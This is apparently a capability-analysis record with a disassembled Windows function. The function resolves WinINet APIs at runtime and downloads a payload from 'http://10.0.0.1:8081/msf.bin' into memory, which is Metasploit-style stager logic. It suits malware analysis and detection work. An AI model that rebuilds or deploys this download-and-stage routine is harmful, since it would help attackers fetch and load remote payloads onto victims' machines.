Function at 0x140001000
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor r15d, r15d
mov qword [rsp + 0x40], r8
lea rcx, str.wininet.dll
mov dword [rsp + 0x48], r15d
mov esi, r15d
mov qword [rsp + 0x38], rdx
mov ebx, r15d
mov r12d, 1
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.wininet.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.InternetOpenW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.wininet.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.InternetOpenUrlW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.wininet.dll
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.InternetReadFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.wininet.dll
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.InternetCloseHandle
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.wininet.dll
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.InternetSetOptionW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
mov qword [rsp + 0x30], rax
xor edx, edx
xor ecx, ecx
call rdi
mov r15, rax
test rax, rax
je 0x140001145
mov qword [rsp + 0x28], rbx
lea rdx, str.http:__10.0.0.1:8081_msf.bin
xor r9d, r9d
mov dword [rsp + 0x20], 0x2400
xor r8d, r8d
mov rcx, rax
call rbp
mov rbp, rax
test rax, rax
jne 0x14000114c
mov rcx, r15
call r14
xor r9d, r9d
lea edx, [rbx + 0x27]
xor r8d, r8d
xor ecx, ecx
call qword [rsp + 0x30]
xor eax, eax
jmp 0x140001228
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x1400011f8
lea r9, [rsp + 0x48]
mov r8d, 0x400
mov rdx, rax
mov rcx, rbp
call r13
test eax, eax
je 0x1400011f8
mov edx, dword [rsp + 0x48]
add rsi, rdx
test rbx, rbx
jne 0x140001197
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x1400011a9
mov r8d, 0x42
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbx, rax
test rax, rax
je 0x1400011f8
mov r8d, dword [rsp + 0x48]
mov rcx, rax
sub rcx, r8
mov rdx, rdi
add rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
cmp dword [rsp + 0x48], 0x400
jb 0x14000124d
lea r9, [rsp + 0x48]
mov r8d, 0x400
mov rdx, rdi
mov rcx, rbp
call r13
test eax, eax
jne 0x140001180
xor r12d, r12d
mov rcx, r15
call r14
mov rcx, rbp
call r14
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x27]
call qword [rsp + 0x30]
test rdi, rdi
je 0x140001225
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, r12d
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001320
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rax, qword [rsp + 0x38]
mov qword [rax], rbx
mov rax, qword [rsp + 0x40]
mov qword [rax], rsi
jmp 0x1400011fb